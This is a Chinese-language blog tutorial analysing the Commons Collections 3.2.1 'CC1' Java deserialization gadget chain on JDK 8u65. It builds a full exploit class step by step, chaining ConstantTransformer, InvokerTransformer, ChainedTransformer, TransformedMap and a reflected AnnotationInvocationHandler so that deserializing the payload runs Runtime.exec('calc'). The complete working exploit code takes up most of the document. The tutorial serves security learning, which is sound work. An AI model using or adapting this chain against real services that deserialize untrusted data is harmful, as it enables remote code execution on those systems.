CC1反序列化链分析-从0手写exp

0x01反序列化原理

与php反序列化类似,在java语言中,在Java对象进行序列化时会执行writeObject方法,而在反序列化过程中执行readObject方法

所以为什么会产生安全问题?
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

  • 共同条件 继承Serializable
  • 入口类 source(重写readObject 调用常见函数参数类型宽泛 最好jdk自带)比如HashMap
  • 调用链 gadget chain 相同名称 相同类型
  • 执行类 sink(rce ssrf写文件等等)

image.png

0x02环境搭建

jdk8u71后就修复了漏洞,所以我们下载jdk8u65版本

jdk8u65
openJDK 8u65(去到这个链接点击zip)
Maven

创建maven项目,添加cc1的依赖包

  <dependencies>
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
  </dependencies>

验证环境是否导入成功

import org.apache.commons.collections.functors.InvokerTransformer;

(下载openJDK 8u65:比如sun包里面是没有源码的,看到的是反编译的代码,后缀是.class文件后面跟进的时候找不到调用,所以我们要把它的源码下下来)
将/src/share/classes路径下的sun包拷下来放入jdk8u65下src路径下,把src目录加进去,然后可以看到出现一些注解,看到.class后缀变为.java后缀
image.png

0x03利用链分析

java反序列化链逆推
假定想要执行的命令
(exp是随着链子的跟进不断改写编写)

Runtime.getRuntime().exec("calc");

InvokerTransformer.transform

类似反射,任意方法调用,且参数可控

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

接着我们想找不同名字调用transform,这样才能再往前推
快捷键:Alt + F7(Project and Libararies)
image.png
image.png

->setValue->checkSetValue->transform

image.png
value应该传runtime,valueTransformer应该传new InvokerTransformer等后面的
image.png
image.png
ps:这里的map是从外引入便于一步步理解的,后面会被我们找到的链子所替换

Runtime runtime = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

接着就是看如何能调用checkSetValue
image.png
image.png
一个键值对就是一个entry,这里的setValue实际上就是entry的setValue,它重写了这个方法

Runtime runtime = Runtime.getRuntime();

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

for (Map.Entry entry:transformedmap.entrySet()){
    entry.setValue(runtime);
}

接着同样的思路,找(最好是谁的readObject里面)调用了setValue

readObject->setValue

我们正好找到了个挺符合要求的
image.png
到这里链子已经基本成型了
image.png
image.png
它的构造函数传入两个参数,一个集成注解的泛型一个map
实例化一个类尝试调用它,它不是public就是默认default类型,需要用反射获取
image.png

Runtime runtime = Runtime.getRuntime();

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedmap);

serialize(o);
unserialize("ser.bin");

但是现在的exp还存在三个问题:

  1. Runtime对像是我们自己生成的,由于没有继承Serializable,所以它不能序列化,需要通过反射来获取
  2. 需要过两个if条件,才能到setValue image.png
  3. setValue要传入runtime对象,但现在看起来不可控image.png

问题一:

最基本的反射编写

Class c1 = Runtime.class;
Method getRuntimeMethod = c1.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c1.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

用我们的InvokeTransformer来实现改写一下

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里可以看到这是一个transform的循环调用
这时候我们想到了这样一个ChainedTransformer方法
image.png

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

现在调用了一次transform就相当于调用了这三次
补全剩下的

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);        

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class, transformedmap);

        serialize(o);
        unserialize("ser.bin");

结果执行不了
image.png
可以看到这里memberType为null没有进去

问题二:

这里可以看到第434行获取它的成员方法,没有找到
接下来做的是找了map的键值对,获取其键值,接着需要成员方法的名字和这个键值相同得以获取
image.png
因此我们更改Override为Target并且更改map键值为value
image.png
可以看到成功进去了,跟进一下setValue
image.png

问题三:

现在我们需要传入setValue的value赋值Runtime.class而不是AnnotationTypeMismatchExceptionProxy
这里我们关注一下ConstantTransformer类
image.png
无论我们输入什么,它都返回自己输入的那个值,因此可以变量覆盖

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);        

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedmap);

        serialize(o);
        unserialize("ser.bin");
package demo1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test1 {

    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

       Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, transformedmap);
        serialize(o);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image.png
cc1其实有两条,这条链子和yso里的还有点差别(后半段一样,前半段有所差别)
这几天跟了两遍,第二遍很多地方清晰了很多,也算是java入门了,完结撒花~~

参考视频:https://space.bilibili.com/2142877265/video

posted @ 2024-07-24 02:21  1nnya  阅读(89)  评论(2)    收藏  举报